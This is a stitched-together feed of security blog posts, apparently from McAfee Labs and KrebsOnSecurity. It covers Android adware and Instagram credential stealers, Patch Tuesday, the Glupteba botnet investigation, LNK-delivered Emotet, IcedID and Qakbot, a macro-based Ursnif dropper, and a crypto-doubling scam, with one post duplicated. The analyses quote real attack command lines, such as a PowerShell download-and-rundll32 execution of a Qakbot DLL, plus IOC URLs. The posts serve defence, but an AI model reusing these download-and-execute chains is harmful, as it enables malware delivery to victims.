Fingertip Cleaner | com.fingertip.clean.cvb | 500K+ |
Quick Cleaner | org.qck.cle.oyo | 1M+ |
Keep Clean | org.clean.sys.lunch | 1M+ |
Windy Clean | in.phone.clean.www | 500K+ |
Carpet Clean | og.crp.cln.zda | 100K+ |
Cool Clean | syn.clean.cool.zbc | 500K+ |
Strong Clean | in.memory.sys.clean | 500K+ |
Meteor Clean | org.ssl.wind.clean | 100K+ |
SHA256:
Domains:
The post New HiddenAds malware affects 1M+ users and hides on the Google Play Store appeared first on McAfee Blog.
Microsoft today released updates to fix at least 86 security vulnerabilities in its Windows operating systems and other software, including a weakness in all supported versions of Windows that Microsoft warns is actively being exploited. The software giant also has made a controversial decision to put the brakes on a plan to block macros in Office documents downloaded from the Internet.
In February, security experts hailed Microsoft’s decision to block VBA macros in all documents downloaded from the Internet. The company said it would roll out the changes in stages between April and June 2022.
Macros have long been a trusted way for cybercrooks to trick people into running malicious code. Microsoft Office by default warns users that enabling macros in untrusted documents is a security risk, but those warnings can be easily disabled with the click of button. Under Microsoft’s plan, the new warnings provided no such way to enable the macros.
As Ars Technica veteran reporter Dan Goodin put it, “security professionals—some who have spent the past two decades watching clients and employees get infected with ransomware, wipers, and espionage with frustrating regularity—cheered the change.”
But last week, Microsoft abruptly changed course. As first reported by BleepingComputer, Redmond said it would roll back the changes based on feedback from users.
“While Microsoft has not shared the negative feedback that led to the rollback of this change, users have reported that they are unable to find the Unblock button to remove the Mark-of-the-Web from downloaded files, making it impossible to enable macros,” Bleeping’s Sergiu Gatlan wrote.
Microsoft later said the decision to roll back turning off macros by default was temporary, although it has not indicated when this important change might be made for good.
The zero-day Windows vulnerability already seeing active attacks is CVE-2022-22047, which is an elevation of privilege vulnerability in all supported versions of Windows. Trend Micro’s Zero Day Initiative notes that while this bug is listed as being under active attack, there’s no information from Microsoft on where or how widely it is being exploited.
“The vulnerability allows an attacker to execute code as SYSTEM, provided they can execute other code on the target,” ZDI’s Dustin Childs wrote. “Bugs of this type are typically paired with a code execution bug, usually a specially crafted Office or Adobe document, to take over a system. These attacks often rely on macros, which is why so many were disheartened to hear Microsoft’s delay in blocking all Office macros by default.”
Kevin Breen, director of cyber threat research at Immersive Labs, said CVE-2022-22047 is the kind of vulnerability that is typically seen abused after a target has already been compromised.
“Crucially, it allows the attacker to escalate their permissions from that of a normal user to the same permissions as the SYSTEM,” he said. “With this level of access, the attackers are able to disable local services such as Endpoint Detection and Security tools. With SYSTEM access they can also deploy tools like Mimikatz which can be used to recover even more admin and domain level accounts, spreading the threat quickly.”
After a brief reprieve from patching serious security problems in the Windows Print Spooler service, we are back to business as usual. July’s patch batch contains fixes for four separate elevation of privilege vulnerabilities in Windows Print Spooler, identified as CVE-2022-22022, CVE-2022-22041, CVE-2022-30206, and CVE-2022-30226. Experts at security firm Tenable note that these four flaws provide attackers with the ability to delete files or gain SYSTEM level privileges on a vulnerable system.
Roughly a third of the patches issued today involve weaknesses in Microsoft’s Azure Site Recovery offering. Other components seeing updates this month include Microsoft Defender for Endpoint; Microsoft Edge (Chromium-based); Office; Windows BitLocker; Windows Hyper-V; Skype for Business and Microsoft Lync; and Xbox.
Four of the flaws fixed this month address vulnerabilities Microsoft rates “critical,” meaning they could be used by malware or malcontents to assume remote control over unpatched Windows systems, usually without any help from users. CVE-2022-22029 and CVE-2022-22039 affect Network File System (NFS) servers, and CVE-2022-22038 affects the Remote Procedure Call (RPC) runtime.
“Although all three of these will be relatively tricky for attackers to exploit due to the amount of sustained data that needs to be transmitted, administrators should patch sooner rather than later,” said Greg Wiseman, product manager at Rapid7. “CVE-2022-30221 supposedly affects the Windows Graphics Component, though Microsoft’s FAQ indicates that exploitation requires users to access a malicious RDP server.”
Separately, Adobe today issued patches to address at least 27 vulnerabilities across multiple products, including Acrobat and Reader, Photoshop, RoboHelp, and Adobe Character Animator.
For a closer look at the patches released by Microsoft today and indexed by severity and other metrics, check out the always-useful Patch Tuesday roundup from the SANS Internet Storm Center. And it’s not a bad idea to hold off updating for a few days until Microsoft works out any kinks in the updates: AskWoody.com usually has the lowdown on any patches that may be causing problems for Windows users.
As always, please consider backing up your system or at least your important documents and data before applying system updates. And if you run into any problems with these updates, please drop a note about it here in the comments.
On December 7, 2021, Google announced it was suing two Russian men allegedly responsible for operating the Glupteba botnet, a global malware menace that has infected millions of computers over the past decade. That same day, AWM Proxy — a 14-year-old anonymity service that rents hacked PCs to cybercriminals — suddenly went offline. Security experts had long seen a link between Glupteba and AWM Proxy, but new research shows AWM Proxy’s founder is one of the men being sued by Google.
AWMproxy, the storefront for renting access to infected PCs, circa 2011.
Launched in March 2008, AWM Proxy quickly became the largest service for crooks seeking to route their malicious Web traffic through compromised devices. In 2011, researchers at Kaspersky Lab showed that virtually all of the hacked systems for rent at AWM Proxy had been compromised by TDSS (a.k.a TDL-4 and Alureon), a stealthy “rootkit” that installs deep within infected PCs and loads even before the underlying Windows operating system boots up.
In March 2011, security researchers at ESET found TDSS was being used to deploy Glupteba, another rootkit that steals passwords and other access credentials, disables security software, and tries to compromise other devices on the victim’s network — such as Internet routers and media storage servers — for use in relaying spam or other malicious traffic.
A report from the Polish computer emergency response team (CERT Orange Polksa) found Glupteba was by far the biggest malware threat in 2021.
Like its predecessor TDSS, Glupteba is primarily distributed through “pay-per-install” or PPI networks, and via traffic purchased from traffic distribution systems (TDS). Pay-per-install networks try to match cybercriminals who already have access to large numbers of hacked PCs with other crooks seeking broader distribution of their malware.
In a typical PPI network, clients will submit their malware—a spambot or password-stealing Trojan, for example —to the service, which in turn charges per thousand successful installations, with the price depending on the requested geographic location of the desired victims. One of the most common ways PPI affiliates generate revenue is by secretly bundling the PPI network’s installer with pirated software titles that are widely available for download via the web or from file-sharing networks.
An example of a cracked software download site distributing Glupteba. Image: Google.com.
Over the past decade, both Glupteba and AWM Proxy have grown substantially. When KrebsOnSecurity first covered AWM Proxy in 2011, the service was selling access to roughly 24,000 infected PCs scattered across dozens of countries. Ten years later, AWM Proxy was offering 10 times that number of hacked systems on any given day, and Glupteba had grown to more than one million infected devices worldwide.
There is also ample evidence to suggest that Glupteba may have spawned Meris, a massive botnet of hacked Internet of Things (IoT) devices that surfaced in September 2021 and was responsible for some of the largest and most disruptive distributed denial-of-service (DDoS) attacks the Internet has ever seen.
But on Dec. 7, 2021, Google announced it had taken technical measures to dismantle the Glupteba botnet, and filed a civil lawsuit (PDF) against two Russian men thought to be responsible for operating the vast crime machine. AWM Proxy’s online storefront disappeared that same day.
AWM Proxy quickly alerted its customers that the service had moved to a new domain, with all customer balances, passwords and purchase histories seamlessly ported over to the new home. However, subsequent takedowns targeting AWM Proxy’s domains and other infrastructure have conspired to keep the service on the ropes and frequently switching domains ever since.
Earlier this month, the United States, Germany, the Netherlands and the U.K. dismantled the “RSOCKS” botnet, a competing proxy service that had been in operation since 2014. KrebsOnSecurity has identified the owner of RSOCKS as a 35-year-old from Omsk, Russia who runs the world’s largest forum catering to spammers.
The employees who kept things running for RSOCKS, circa 2016.
Shortly after last week’s story on the RSOCKS founder, I heard from Riley Kilmer, co-founder of Spur.us, a startup that tracks criminal proxy services. Kilmer said RSOCKS was similarly disabled after Google’s combined legal sneak attack and technical takedown targeting Glupteba.
“The RSOCKS website gave you the estimated number of proxies in each of their subscription packages, and that number went down to zero on Dec. 7,” Kilmer said. “It’s not clear if that means the services were operated by the same people, or if they were just using the same sources (i.e., PPI programs) to generate new installations of their malware.”
Kilmer said each time his company tried to determine how many systems RSOCKS had for sale, they found each Internet address being sold by RSOCKS was also present in AWM Proxy’s network. In addition, Kilmer said, the application programming interfaces (APIs) used by both services to keep track of infected systems were virtually identical, once again suggesting strong collaboration.
“One hundred percent of the IPs we got back from RSOCKS we’d already identified in AWM,” Kilmer said. “And the IP port combinations they give you when you access an individual IP were the same as from AWM.”
In 2011, KrebsOnSecurity published an investigation that identified one of the founders of AWM Proxy, but Kilmer’s revelation prompted me to take a fresh look at the origins of this sprawling cybercriminal enterprise to determine if there were additional clues showing more concrete links between RSOCKS, AWM Proxy and Glupteba.
Supporting Kilmer’s theory that AWM Proxy and RSOCKS may simply be using the same PPI networks to spread, further research shows the RSOCKS owner also had an ownership stake in AD1[.]ru, an extremely popular Russian-language pay-per-install network that has been in operation for at least a decade.
Google took aim at Glupteba in part because its owners were using the botnet to divert and steal vast sums in online advertising revenue. So it’s more than a little ironic that the critical piece of evidence linking all of these operations begins with a Google Analytics code included in the HTML code for the original AWM Proxy back in 2008 (UA-3816536).
That analytics code also was present on a handful of other sites over the years, including the now-defunct Russian domain name registrar Domenadom[.]ru, and the website web-site[.]ru, which curiously was a Russian company operating a global real estate appraisal business called American Appraisal.
Two other domains connected to that Google Analytics code — Russian plastics manufacturers techplast[.]ru and tekhplast.ru — also shared a different Google Analytics code (UA-1838317) with web-site[.]ru and with the domain “starovikov[.]ru.”
The name on the WHOIS registration records for the plastics domains is an “Alexander I. Ukraincki,” whose personal information also is included in the domains tpos[.]ru and alphadisplay[.]ru, both apparently manufacturers of point-of-sale payment terminals in Russia.
Constella Intelligence, a security firm that indexes passwords and other personal information exposed in past data breaches, revealed dozens of variations on email addresses used by Alexander I. Ukraincki over the years. Most of those email addresses start with some variation of “uai@” followed by a domain from one of the many Russian email providers (e.g., yandex.ru, mail.ru). [Full disclosure: Constella is currently an advertiser on this website].
But Constella also shows those different email addresses all relied on a handful of passwords — most commonly “2222den” and “2222DEN.” Both of those passwords have been used almost exclusively in the past decade by the person who registered more than a dozen email addresses with the username “dennstr.”
The dennstr identity leads to several variations on the same name — Denis Strelinikov, or Denis Stranatka, from Ukraine, but those clues ultimately led nowhere promising. And maybe that was the point.
Things began looking brighter after I ran a search in DomainTools for web-site[.]ru’s original WHOIS records, which shows it was assigned in 2005 to a “private person” who used the email address lycefer@gmail.com. A search in Constella on that email address says it was used to register nearly two dozen domains, including starovikov.ru and starovikov[.]com.
A cached copy of the contact page for Starovikov[.]com shows that in 2008 it displayed the personal information for a Dmitry Starovikov, who listed his Skype username as “lycefer.”
Finally, Russian incorporation documents show the company LLC Website (web-site[.]ru)was registered in 2005 to two men, one of whom was named Dmitry Sergeevich Starovikov.
Bringing this full circle, Google says Starovikov is one of the two operators of the Glupteba botnet:
The cover page for Google’s lawsuit against the alleged Glupteba botnet operators.
Mr. Starovikov did not respond to requests for comment. But attorneys for Starovikov and his co-defendant last month filed a response to Google’s complaint in the Southern District of New York, denying (PDF) their clients had any knowledge of the scheme.
Despite all of the disruption caused by Google’s legal and technical meddling, AWM is still around and nearly as healthy as ever, although the service has been branded with a new name and there are dubious claims of new owners. Advertising customer plans ranging from $50 a day to nearly $700 for “VIP access,” AWM Proxy says its malware has been running on approximately 175,000 systems worldwide over the last 24 hours, and that roughly 65,000 of these systems are currently online.
Meanwhile, the administrators of RSOCKS recently alerted customers that the service and any unspent balances will soon be migrated over to a new location.
Many people seem to equate spending time, money and effort to investigate and prosecute cybercriminals with the largely failed war on drugs, meaning there is an endless supply of up-and-coming crooks who will always fill in any gaps in the workforce whenever cybercriminals face justice.
While that may be true for many low-level cyber thieves today, investigations like these show once again how small the cybercriminal underground really is. It also shows how it makes a great deal of sense to focus efforts on targeting and disrupting the relatively small number of established hackers who remain the real force multipliers of cybercrime.
Authored by Lakshya Mathur
An LNK file is a Windows Shortcut that serves as a pointer to open a file, folder, or application. LNK files are based on the Shell Link binary file format, which holds information used to access another data object. These files can be created manually using the standard right-click create shortcut option or sometimes they are created automatically while running an application. There are many tools also available to build LNK files, also many people have built “lnkbombs” tools specifically for malicious purposes.
During the second quarter of 2022, McAfee Labs has seen a rise in malware being delivered using LNK files. Attackers are exploiting the ease of LNK, and are using it to deliver malware like Emotet, Qakbot, IcedID, Bazarloaders, etc.
In this blog, we will see how LNK files are being used to deliver malware such as Emotet, Qakbot, and IcedID.
Below is a screenshot of how these shortcut files look to a normal user.
With Microsoft disabling office macros by default malware actors are now enhancing their lure techniques including exploiting LNK files to achieve their goals.
Threat actors are using email spam and malicious URLs to deliver LNK files to victims. These files instruct legitimate applications like PowerShell, CMD, and MSHTA to download malicious files.
We will go through three recent malware campaigns Emotet, IcedID, and Qakbot to see how dangerous these files can be.
In Figure 4 we can see the lure message and attached malicious LNK file.
The user is infected by manually accessing the attached LNK file. To dig a little deeper, we see the properties of the LNK file:
As seen in Figure 5 the target part reveals that LNK invokes the Windows Command Processor (cmd.exe). The target path as seen in the properties is only visible to 255 characters. However, command-line arguments can be up to 4096, so malicious actors can that this advantage and pass on long arguments as they will be not visible in the properties.
In our case the argument is /v:on /c findstr “glKmfOKnQLYKnNs.*” “Form 04.25.2022, US.lnk” > “%tmp%\YlScZcZKeP.vbs” & “%tmp%\YlScZcZKeP.vbs”
Once the findstr.exe utility receives the mentioned string, the rest of the content of the LNK file is saved in a .VBS file under the %temp% folder with the random name YIScZcZKeP.vbs
The next part of the cmd.exe command invokes the VBS file using the Windows Script Host (wscript.exe) to download the main Emotet 64-bit DLL payload.
The downloaded DLL is then finally executed using the REGSVR32.EXE utility which is similar behavior to the excel(.xls) based version of the emotet.
This attack is a perfect example of how attackers chain LNK, PowerShell, and MSHTA utilities target their victims.
Here, PowerShell LNK has a highly obfuscated parameter which can be seen in Figure 8 target part of the LNK properties
The parameter is exceptionally long and is not fully visible in the target part. The whole obfuscated argument is decrypted at run-time and then executes MSHTA with argument hxxps://hectorcalle[.]com/093789.hta.
The downloaded HTA file invokes another PowerShell that has a similar obfuscated parameter, but this connects to Uri hxxps://hectorcalle[.]com/listbul.exe
The Uri downloads the IcedID installer 64-bit EXE payload under the %HOME% folder.
This attack will show us how attackers can directly hardcode malicious URLs to run along with utilities like PowerShell and download main threat payloads.
In Figure 10 the full target part argument is “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit iwr -Uri hxxps://news-wellness[.]com/5MVhfo8BnDub/D.png -OutFile $env:TEMP\test.dll;Start-Process rundll32.exe $env:TEMP\test.dll,jhbvygftr”
When this PowerShell LNK is invoked, it connects to hxxps://news-wellness[.]com/5MVhfo8BnDub/D.png using the Invoke-WebRequest command and the download file is saved under the %temp% folder with the name test.dll
This is the main Qakbot DLL payload which is then executed using the rundll32 utility.
As we saw in the above three threat campaigns, it is understood that attackers abuse the windows shortcut LNK files and made them to be extremely dangerous to the common users. LNK combined with PowerShell, CMD, MSHTA, etc., can do severe damage to the victim’s machine. Malicious LNKs are generally seen to be using PowerShell and CMD by which they can connect to malicious URLs to download malicious payloads.
We covered just three of the threat families here, but these files have been seen using other windows utilities to deliver diverse types of malicious payloads. These types of attacks are still evolving, so every user must give a thorough check while using LNK shortcut files. Consumers must keep their Operating system and Anti-Virus up to date. They should beware of phishing mail and clicking on malicious links and attachments.
Type | SHA-256 | Scanner | |
Emotet LNK | 02eccb041972825d51b71e88450b094cf692b9f5f46f5101ab3f2210e2e1fe71 | WSS | LNK/Emotet-FSE |
IcedID LNK | 24ee20d7f254e1e327ecd755848b8b72cd5e6273cf434c3a520f780d5a098ac9 | WSS | LNK/Agent-FTA
Suspicious ZIP!lnk |
Qakbot LNK | b5d5464d4c2b231b11b594ce8500796f8946f1b3a10741593c7b872754c2b172 | WSS | LNK/Agent-TSR
|
URLs (Uniform Resource Locator) | hxxps://creemo[.]pl/wp-admin/ZKS1DcdquUT4Bb8Kb/
hxxp://filmmogzivota[.]rs/SpryAssets/gDR/ hxxp://demo34.ckg[.]hk/service/hhMZrfC7Mnm9JD/ hxxp://focusmedica[.]in/fmlib/IxBABMh0I2cLM3qq1GVv/ hxxp://cipro[.]mx/prensa/siZP69rBFmibDvuTP1/ hxxps://hectorcalle[.]com/093789.hta hxxps://hectorcalle[.]com/listbul.exe hxxps://green-a-thon[.]com/LosZkUvr/B.png |
WebAdvisor | All URLs Blocked |
The post Rise of LNK (Shortcut files) Malware appeared first on McAfee Blog.
Authored by Dexter Shin
Instagram has become a platform with over a billion monthly active users. Many of Instagram’s users are looking to increase their follower numbers, as this has become a symbol of a person’s popularity. Instagram’s large user base has not gone unnoticed to cybercriminals. McAfee’s Mobile Research Team recently found new Android malware disguised in an app to increase Instagram followers.
You can easily find apps on the internet that increase the number of Instagram followers. Some of these apps require both a user account and a password. Other types of apps only need the user to input their user account. But are these apps safe to use?
Many YouTubers explain how to use these apps with tutorial videos. They log into the app with their own account and show that the number of followers is increasing. Among the many videos, the domain that appears repeatedly was identified.
The way the domain introduces is very simple.
When you run the function, you can see that the number of followers increases every few seconds.
Some Telegram channels are promoting YouTube videos with domain links to the malware.
We have also observed a video from a famous YouTuber with over 190,000 subscribers promoting a malicious app. However, in the video, we found some concerning comments with people complaining that their credentials were being stolen.
We analyzed the application that is being promoted by the domain. The hidden malware does not require many permissions and therefore does not appear to be harmful. When users launch the app, they can only see the below website via the Android Webview.
After inspecting the app, we observe the initial code does not contain many features. After showing an advertisement, it will immediately show the malicious website. Malicious activities are performed at the website’s backend rather than within the Android app.
The website says that your transactions are carried out using the Instagram API system with your username and password. It is secure because they use the user’s credentials via Instagram’s official server, not their remote server.
Contrary to many people’s expectations, we received abnormal login attempts from Turkey a few minutes after using the app. The device logged into the account was not an Instagram server but a personal device model of Huawei as LON-L29.
As shown above, they don’t use an Instagram API. In addition, as you request followers, the number of the following also increases. In other words, the credentials you provided are used to increase the number of followers of other requesters. Everyone who uses this app has a relationship with each other. Moreover, they will store and use your credentials in their database without your acknowledgement.
The languages of most communication channels were English, Portuguese, and Hindi. Especially, Hindi was the most common, and most videos had more than 100 views. In the case of a famous YouTuber’s video, they have recorded more than 2,400 views. In addition, our test account had 400 followers in one day. It means that at least 400 users have sent credentials to the malware author.
As we mentioned in the opening remarks, many Instagram users want to increase their followers and likes. Unfortunately, attackers are also aware of the desires of these users and use that to attack them.
Therefore, users who want to install these apps should consider that their credentials may be leaked. In addition, there may be secondary attacks such as credential stuffing (=use of a stolen username and password pairs on another website). Aside from the above cases, there are many unanalyzed similar apps on the Internet. You shouldn’t use suspicious apps to get followers and likes.
McAfee Mobile Security detects this threat as Android/InstaStealer and protects you from this malware. For more information, visit McAfee Mobile Security.
SHA256:
Domains:
The post Instagram credentials Stealers: Free Followers or Free Likes appeared first on McAfee Blog.
Authored by Dexter Shin
McAfee’s Mobile Research Team introduced a new Android malware targeting Instagram users who want to increase their followers or likes in the last post. As we researched more about this threat, we found another malware type that uses different technical methods to steal user’s credentials. The target is users who are not satisfied with the default functions provided by Instagram. Various Instagram modification application already exists for those users on the Internet. The new malware we found pretends to be a popular mod app and steals Instagram credentials.
Instander is one of the famous Instagram modification applications available for Android devices to help Instagram users access extra helpful features. The mod app supports uploading high-quality images and downloading posted photos and videos.
The initial screens of this malware and Instander are similar, as shown below.
Figure 1. Instander legitimate app(Left) and Mmalware(Right)
Next, this malware requests an account (username or email) and password. Finally, this malware displays an error message regardless of whether the login information is correct.
Figure 2. Malware requests account and password
The malware steals the user’s username and password in a very unique way. The main trick is to use the Firebase API. First, the user input value is combined with l@gmail.com. This value and static password(=kamalw20051) are then sent via the Firebase API, createUserWithEmailAndPassword. And next, the password process is the same. After receiving the user’s account and password input, this malware will request it twice.
Since we cannot see the dashboard of the malware author, we tested it using the same API. As a result, we checked the user input value in plain text on the dashboard.
According to the Firebase document, createUserWithEmailAndPassword API is to create a new user account associated with the specified email address and password. Because the first parameter is defined as email patterns, the malware author uses the above code to create email patterns regardless of user input values.
It is an API for creating accounts in the Firebase so that the administrator can check the account name in the Firebase dashboard. The victim’s account and password have been requested as Firebase account name, so it should be seen as plain text without hashing or masking.
As an interesting point on the network traffic of the malware, this malware communicates with the Firebase server in Protobuf format in the network. The initial configuration of this Firebase API uses the JSON format. Although the Protobuf format is readable enough, it can be assumed that this malware author intentionally attempts to obfuscate the network traffic through the additional settings. Also, the domain used for data transfer(=www.googleapis.com) is managed by Google. Because it is a domain that is too common and not dangerous, many network filtering and firewall solutions do not detect it.
As mentioned, users should always be careful about installing 3rd party apps. Aside from the types of malware we’ve introduced so far, attackers are trying to steal users’ credentials in a variety of ways. Therefore, you should employ security software on your mobile devices and always keep up to date.
Fortunately, McAfee Mobile Security is able to detect this as Android/InstaStealer and protect you from similar threats. For more information visit McAfee Mobile Security
SHA256:
The post Instagram credentials Stealer: Disguised as Mod App appeared first on McAfee Blog.
https://origin-blogs.mcafee.com/blogs
The post Test Test 2 appeared first on McAfee Blog.
McAfee Labs have been observing a spike in phishing campaigns that utilize Microsoft office macro capabilities. These malicious documents reach victims via mass spam E-mail campaigns and generally invoke urgency, fear, or similar emotions, leading unsuspecting users to promptly open them. The purpose of these spam operations is to deliver malicious payloads to as many people as possible.
A recent spam campaign was using malicious word document to download and execute the Ursnif trojan. Ursnif is a high-risk trojan designed to record various sensitive information. It typically archives this sensitive data and sends it back to a command-and-control server.
This blog describes how attackers use document properties and a few other techniques to download and execute the Ursnif trojan.
Threat Summary
Infection Chain
The malware arrives through a phishing email containing a Microsoft Word document as an attachment. When the document is opened and macros are enabled, Word downloads a DLL (Ursnif payload). The Ursnif payload is then executed using rundll32.exe
Figure-1: flowchart of infection chain
Word Analysis
Macros are disabled by default and the malware authors are aware of this and hence present an image to entice the victims into enabling them.
Figure-2: Image of what the user sees upon opening the document
VBA Macro Analysis of Word Document
Analyzing the sample statically with ‘oleId’ and ‘olevba’ indicates the suspicious vectors..
Figure-3: Oleid output
Figure-4: Olevba output
The VBA Macro is compatible with x32 and x64 architectures and is highly obfuscated as seen in Figure-5
Figure-5: Obfuscated VBA macro
To get a better understanding of the functionality, we have de-obfuscated the contents in the 2 figures shown below.
Figure-6: De-obfuscated VBA macro (stage 1)
Figure-7: De-obfuscated VBA macro (stage 2)
An interesting characteristic of this sample is that some of the strings like CLSID, URL for downloading Ursnif, and environment variables names are stored in custom document properties in reverse. As shown in Figure-7, VBA function “ActiveDocument.CustomDocumentProperties()” is used to retrieve the properties and uses “StrReverse” to reverse the contents.
We can see the document properties in Figure-8
Figure-8: Document properties
Payload Download and Execution:
The malicious macro retrieves hidden shellcode from a custom property named “Company” using the “cdec” function that converts the shellcode from string to decimal/hex value and executes it. The shellcode is shown below.
Figure-9: Raw Company property
The shellcode is written to memory and the access protection is changed to PAGE_EXECUTE_READWRITE.
Figure-10: Code of VirtualProtect
Figure-11: Shellcode’s memory and protection after calling VirtualProtect()
After adding the shellcode in memory, the environment variable containing the malicious URL of Ursnif payload is created. This Environment variable will be later used by the shellcode.
Figure-12: Environment variable set in Winword.exe space
The shellcode is executed with the use of the SetTimer API. SetTimer creates a timer with the specified time-out value mentioned and notifies a function when the time is elapsed. The 4th parameter used to call SetTimer is the pointer to the shellcode in memory which will be invoked when the mentioned time is elapsed.
Figure-13: SetTimer function (Execution of shellCode)
The shellcode downloads the file from the URL stored in the environmental variable and stores it as ” y9C4A.tmp.dll ” and executes it with rundll32.exe.
URL | hxxp://docmasterpassb.top/kdv/x7t1QUUADWPEIQyxM6DT3vtrornV4uJcP4GvD9vM/ |
CMD | rundll32 “C:\Users\user\AppData\Local\Temp\y9C4A.tmp.dll”,DllRegisterServer |
Figure-14: Exports of Downloaded DLL
After successful execution of the shellcode, the environment variable is removed.
Figure-15: Removal of Environment Variable
IOC
TYPE | VALUE | PRODUCT | DETECTION NAME |
Main Word Document | 6cf97570d317b42ef8bfd4ee4df21d217d5f27b73ff236049d70c37c5337909f | McAfee LiveSafe and Total Protection | X97M/Downloader.CJG |
Downloaded dll | 41ae907a2bb73794bb2cff40b429e62305847a3e1a95f188b596f1cf925c4547 | McAfee LiveSafe and Total Protection | Ursnif-FULJ |
URL to download dll | hxxp://docmasterpassb.top/kdv/x7t1QUUADWPEIQyxM6DT3vtrornV4uJcP4GvD9vM/ | WebAdvisor | Blocked |
MITRE Attack Framework
Technique ID | Tactic | Technique Details | Description |
T1566.001 | Initial Access | Spear phishing Attachment | Manual execution by user |
T1059.005 | Execution | Visual Basic | Malicious VBA macros |
T1218.011 | Defense Evasion | Signed binary abuse | Rundll32.exe is used |
T1027 | Defense Evasion | Obfuscation techniques | VBA and powershell base64 executions |
T1086 | Execution | Powershell execution | PowerShell command abuse |
Conclusion
Macros are disabled by default in Microsoft Office applications, we suggest keeping it that way unless the document is received from a trusted source. The infection chain discussed in the blog is not limited to Word or Excel. Further threats may use other live-off-the-land tools to download its payloads.
McAfee customers are protected against the malicious files and sites detailed in this blog with McAfee LiveSafe/Total Protection and McAfee Web Advisor.
The post Test Post appeared first on McAfee Blog.
By Oliver Devane
Update: In the past 24 hours (from time of publication) McAfee has identified 15 more scam sites bringing the total to 26. The combined value of the wallets shared on these sites is over $1,300,000 which is an increase of roughly $1,000,000 since this blog was last published. This highlights the scale of this current scam campaign. The table within this blog has been updated to include the new sites and crypto-wallets.
McAfee has identified several Youtube channels which were live-streaming a modified version of a live stream called ‘The B Word’ where Elon Musk, Cathie Wood, and Jack Dorsey discuss various aspects of cryptocurrency.
The modified live streams make the original video smaller and put a frame around it advertising malicious sites that it claims will double the amount of cryptocurrency you send them. As the topic of the video is on cryptocurrency it adds some legitimacy to the websites being advertised.
The original video is shown below on the left and a modified one which includes a reference to a scam site is shown on the right.
We identified several different streams occurring at a similar same time. The images of some are shown below:
The YouTube streams advertised several sites which shared a similar theme. They claim to send cryptocurrency worth double the value which they’ve received. For example, if you send 1BTC you will receive 2BTC in return. One of the site‘s frequently asked questions (FAQ) is shown below:
Here are some more examples of the scam sites we discovered:
The sites attempt to trick the visitors into thinking that others are sending cryptocurrency to it by showing a table with recent transactions. This is fake and is generated by JavaScript which creates random crypto wallets and amounts and then adds these to the table.
The wallets associated with the malicious sites have received a large number of transactions with a combined value of $280,000 as of 5 PM UTC on the 5th of May 2022
Scam Site | Crypto Type | Wallet | Value as on 5PM UTC 5th May 2022 |
22ark-invest[.]org | ETH | 0x820a78D8e0518fcE090A9D16297924dB7941FD4f | $25,726.46 |
22ark-invest[.]org | BTC | 1Q3r1TzwCwQbd1dZzVM9mdFKPALFNmt2WE | $29,863.78 |
2xEther[.]com | ETH | 0x5081d1eC9a1624711061C75dB9438f207823E694 | $2,748.50 |
2x-musk[.]net | ETH | 0x18E860308309f2Ab23b5ab861087cBd0b65d250A | $10,409.13 |
2x-musk[.]net | BTC | 17XfgcHCfpyYMFdtAWYX2QcksA77GnbHN9 | $4,779.47 |
arkinvest22[.]net | ETH | 0x2605dF183743587594A3DBC5D99F12BB4F19ac74 | $11,810.57 |
arkinvest22[.]net | BTC | 1GLRZZHK2fRrywVUEF83UkqafNV3GnBLha | $5,976.80 |
doublecrypto22[.]com | ETH | 0x12357A8e2e6B36dd6D98A2aed874D39c960eC174 | $0.00 |
doublecrypto22[.]com | BTC | 1NKajgogVrRYQjJEQY2BcvZmGn4bXyEqdY | $0.00 |
elonnew[.]com | ETH | 0xAC9275b867DAb0650432429c73509A9d156922Dd | $0.00 |
elonnew[.]com | BTC | 1DU2H3dWXbUA9mKWuZjbqqHuGfed7JyqXu | $0.00 |
elontoday[.]org | ETH | 0xBD73d147970BcbccdDe3Dd9340827b679e70d9d4 | $18,442.96 |
elontoday[.]org | BTC | bc1qas66cgckep3lrkdrav7gy8xvn7cg4fh4d7gmw5 | $0.00 |
Teslabtc22[.]com | ETH | 0x9B857C44C500eAf7fAfE9ed1af31523d84CB5bB0 | $27,386.69 |
Teslabtc22[.]com | BTC | 18wJeJiu4MxDT2Ts8XJS665vsstiSv6CNK | $17,609.62 |
tesla-eth[.]org | ETH | 0x436F1f89c00f546bFEf42F8C8d964f1206140c64 | $5,841.84 |
tesla-eth[.]org | BTC | 1CHRtrHVB74y8Za39X16qxPGZQ12JHG6TW | $132.22 |
teslaswell[.]com | ETH | 0x7007Fa3e7dB99686D337C87982a07Baf165a3C1D | $9.43 |
teslaswell[.]com | BTC | bc1qdjma5kjqlf7l6fcug097s9mgukelmtdf6nm20v | $0.00 |
twittergive[.]net | ETH | 0xB8e257C18BbEC93A596438171e7E1E77d18671E5 | $25,918.90 |
twittergive[.]net | BTC | 1EX3dG9GUNVxoz6yiPqqoYMQw6SwQUpa4T | $99,123.42 |
Scammers have been using social media sites such as Twitter and Youtube to attempt to trick users into parting ways with their cryptocurrency for the past few years. McAfee urges its customers to be vigilant and if something sounds too good to be true then it is most likely not legitimate.
Our customers are protected against the malicious sites detailed in this blog as they are blocked with McAfee Web Advisor
Type | Value | Product | Blocked |
URL – Crypto Scam | twittergive[.]net | McAfee WebAdvisor | YES |
URL – Crypto Scam | tesla-eth[.]org | McAfee WebAdvisor | YES |
URL – Crypto Scam | 22ark-invest[.]org | McAfee WebAdvisor | YES |
URL – Crypto Scam | 2xEther[.]com | McAfee WebAdvisor | YES |
URL – Crypto Scam | Teslabtc22[.]com | McAfee WebAdvisor | YES |
URL – Crypto Scam | elontoday[.]org | McAfee WebAdvisor | YES |
URL – Crypto Scam | elonnew[.]com | McAfee WebAdvisor | YES |
URL – Crypto Scam | teslaswell[.]com | McAfee WebAdvisor | YES |
URL – Crypto Scam | 2x-musk[.]net | McAfee WebAdvisor | YES |
URL – Crypto Scam | doublecrypto22[.]com | McAfee WebAdvisor | YES |
URL – Crypto Scam | arkinvest22[.]net | McAfee WebAdvisor | YES |
The post Crypto Scammers Exploit: Elon Musk Speaks on Cryptocurrency appeared first on McAfee Blog.
Authored by Jyothi Naveen and Kiran Raj
McAfee Labs have been observing a spike in phishing campaigns that utilize Microsoft office macro capabilities. These malicious documents reach victims via mass spam E-mail campaigns and generally invoke urgency, fear, or similar emotions, leading unsuspecting users to promptly open them. The purpose of these spam operations is to deliver malicious payloads to as many people as possible.
A recent spam campaign was using malicious word documents to download and execute the Ursnif trojan. Ursnif is a high-risk trojan designed to record various sensitive information. It typically archives this sensitive data and sends it back to a command-and-control server.
This blog describes how attackers use document properties and a few other techniques to download and execute the Ursnif trojan.
